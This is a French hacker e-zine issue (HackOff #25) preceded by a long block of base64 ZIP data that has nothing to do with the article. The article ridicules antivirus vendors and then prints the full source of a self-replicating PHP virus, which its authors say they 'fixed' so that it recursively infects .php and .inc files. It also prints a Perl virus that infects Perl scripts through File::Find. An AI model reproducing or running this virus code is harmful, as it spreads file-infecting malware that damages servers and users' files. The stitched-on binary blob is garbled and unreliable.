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 AAAA ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ _ ______________________ _ -*9*- `^°*;:,.> Un virus PHP <.,:;*°^` _____________________________/¯¯¯ By Savate Powa ¯¯¯\___________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Il y a quelques mois (voir la date de publication pour se situer dans le temps), certaines sociétés d'antivirus ont publié un bulletin de sécurité annoncant l'arrivée d'un virus en php. Le nom de code de ce virus etait PHP.Pirus. On a donc contacté les grandes marques de lessive pour leur demander un echantillon mais y a pas eu moyen d'obtenir un seul octet du code dont il était question. Il faut dire qu'un virus qui repose sur un langage comme php, c'est assez difficile a imaginer etant donné que le langage repose sur des restrictions propres au serveur web qui lui meme repose sur des restrictions propres au systeme. Au cours des recherches effectuees dans les forums bien branchés pour se procurer la source de ce soit-disant code devastateur, on a pu constater que tout le monde se foutait de notre gueule en disant que c'etait un bruit que m$ faisait courir pour freiner la progression de ce langage (gratuit) et faire grossir la parano aupres des investisseurs. Apparemment la réponse des boites d'antivirus a été rapide puisque a peine une semaine apres on a vu apparaitre un peu partout un code dont la signature ressemble a s'y méprendre a celle du PHP.PIRUS mais dont le contenu n'a rien a voir avec la choucroute. Ce virus s'appelle New0rd.php et il contient des references sur une adresse email qui n'apparait dans aucun moteur de recherche, un site web qui n'existe nulle part 1) Ce code est effectivement détecté comme un virus, mais il ne fonctionne pas 2) Ce code, s'il fonctionnait, ne fonctionnerait que sous windows, et encore il faudrait regler quelques bugs pour que ca marche 3) Les fichiers qu'il est censé infecter sont aussi des fichiers htm, hta, htt et ces fichiers n'ont jamais éxécuté du php, donc l'infection est nulle. 4) Le repertoire infecté par ce virus est c:\windows et personne n'est assez stupide pour en faire un repertoire de travail pour fichiers php Bref autant de raisons qui amenent a se demander si les premiers cas de virus php n'auraient pas vu le jour dans les laboratoires de ces sociétés antivirales qui les ont annoncés. Ces pharmacies de l'internet tenteraient elles de faire la meme manoeuvre que leurs confreres de la réalité en fournissant eux aussi les nouveaux problemes et les nouvelles solutions ? Si c'est le cas on va les faire travailler un peu. Un virus est détectable grace a plusieurs methodes, la plus répandue sur des systemes de type X est de faire une recherche en grep sur une chaine hexa. Sur windoz ca se passe un peu differement a cause du code proprietaire mais en ce qui concerne la detection dans un fichier ascii, il n'y a que cette methode qui compte. Etant donné que php est un langage de programmation tres souple et donc modulable sur la syntaxe, il est tres difficile de savoir si un script est un virus ou pas. C'est l'utilisation que le webmaster en fait qui peut representer un danger, et non pas le script en lui meme. Une autre methode consiste a surveiller tous les acces de fichiers et a estimer grace a une formule complexe si les acces aux fichiers sont legitimes ou pas (methode heuristique). Cette methode permet de detecter les virus polymorphes, mais permet aussi de detecter les vieux virus dont le comportement ne change plus depuis des annees (worm). Nous avons reprogrammé l'echantillon subterfuge de nos amis les createurs d'antivirus (les pharmaciens de l'internet MOUARF) en lui ajoutant un peu de sel pour qu'il infecte differemment tous les fichiers qu'il rencontre. Il a fallut régler les 4 problemes cités plus haut et procéder a un changement de signature (les greetz sont toujours la c'est un virus GPL ;-), ajouter des commentaires en anglais (pour qu'il soit publié) et trouver une machine pour le tester .... sauf qu'on n'a pas trouvé de machine pour le tester (hey c'est pas moi qui vais faire le menage hein?). Au fait vous trouvez pas ca bizarre que tous les auteurs de virus bidons ont la lettre X dans leur adresse email. Y prennent vraiment les gens pour des cons dans les pharmacies du web.. save the trees, eat beavers ! // brought to you by the sAvAte on 20-march-2001 // here is the new signature : -=#~ // Specs : This virus runs only on php4 // Payload : big server load (exponential to traffic) // Signature : ascii string // Stability : not tested function infect() { // get more time if possible @set_time_limit(0); if(ereg("win", strtolower(PHP_OS))) { // get windir content $all = @opendir('C:\Windows\'); } else { // get dir content $all = @opendir("./"); } while ($file = @readdir($all)) { // Recursive infection if(is_dir($file)) { @chdir($file); // change directory infect(); // infect folder and subfolders @chdir("../"); // change back directory } $inf = true; if ( strstr($file, '.php') || strstr($file, '.class') || strstr($file, '.inc') || strstr($file, '.php3') || strstr($file, '.php4') ) { // filename is good candidate for infection, is it writeable? if ( is_file($file) && is_writeable($file) ) { $new = @fopen($file, "r"); $look = @fread($new, @filesize($file)); // check write for false if already infected if(strstr($look, '-=#~')) $inf = false; @fclose($new); } else { // try chmodding in a near future $inf=false; } } if ($inf==true) { // Note : this should not work if the server has a good setup // (safe mode enabled, suexec) $new = @fopen($file, "a"); @fputs($new, ""); @fclose($new); } } @closedir($all); } // The New0rld.PHP Virus was originally Made By Xmorfic (www.shadowvx.com/bcvg) // but it looked like this virus would never have worked, well now it does ! // This virus has been *upgraded* with the following stuffs : // 1) threw all code into a function so it doesn't wreck the global variables // 2) activated the payload ($fput() didn't do anything) // 3) morphing enabled (every mark is different so it makes the scan difficult) // 4) recursivity handled (checks local folder and subfolders) // LETS GO ! infect(); ?> ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Celui la est un virus en perl, il utilise File::find donc il a de fortes chances de ne fonctionner qu'en ligne de commande... #!/usr/bin/perl use File::Find; &perlrus(); print "\nThis program is infected by the Perl virus\n\n"; sub perlrus { my ( $pid, $new ); if( $pid = fork ) { return; } else { open( source, $0 ); finddepth ( \&verolle, '/home/test' ); sub verolle { open target, "$File::Find::name"; $_ = ; if ( /(\#!.*perl)/ ) { $_ = ; if( $_ ne "use File::Find;\n" ) { $new = $1 . "\nuse File::Find;\n&perlrus();\n" . $_; while( ) { $new = $new . $_; } seek( source, 0, 0 ); while( ne "sub perlrus\n" ) { }; $new = $new . "\nsub perlrus\n"; while( ) { $new = $new . $_; } close target; open target, ">$File::Find::name"; print target $new; } } close( target ); } close( source ); exit( 0 ); } } # a virus written in Perl, by padingxx # aug 1999 !!! ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸ Voili-voilo c'est finu pour le hackOff#25 sous influence savatique vous pouvez eteindre votre editeur de texte et retourner a des activités anormales en attendant que les articles retardataires et a venir se rassemblent dans le nouveau dossier hackoff26 qui vient d'etre créé et qui comprend déja quelques articles interessants comme : -Faille dans phpnuke (encore une) -Nokia Unlock (suite) -Plages operateurs fixes -DES ripper pour mysql -Quick Time VR des catacombes parisiennes -Et plein d'autres.... _________________________________________________________________________________ ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ -<\________________________/>- ~~ ~~ ~~ ~~°ºØø¦ ¿ H A C K 0 F F ? ¦øغ°~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~--~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ http://come.to/legang ~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ http://lasavate.tripod.com ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~~ ~ ~ ~~ ~~ ~~ ~~ ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang... _________________________________________________________________________________ ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ _____________________________________ ((((((( H@CK-OFF !! )))))))) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~ ~ ¤º°`°º ¤º°`°º ¤º°`°º ~ ~ ~ ~ | SE | - | RI | - | AL | ~ ~ ~ ~ | SA | - | VA | - | TE | ~ ~ ~ ~ | SY | - | ST | - | EM | ~ ~ ~ ~ ø,¸¸,ø ø,¸¸,ø ø,¸¸,ø ~ ~ Cakeii - Tobozo - Yopyop - Silk - Nk Blured - Misto! - hertz - Jericho ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cakeii@usa.net courou@mail.com { \|/ >http://come.to/legang 8 -- * -- >silk@silk.cut { /|\ tobozo@yahoo.com gard@assassine.org hertz@webmails.com jericho@altranet.fr blured75@hotmail.com ulysse31@madchat.org lansciac@caramail.com ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, / O o O o O o \ \ O O O / º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [EOF]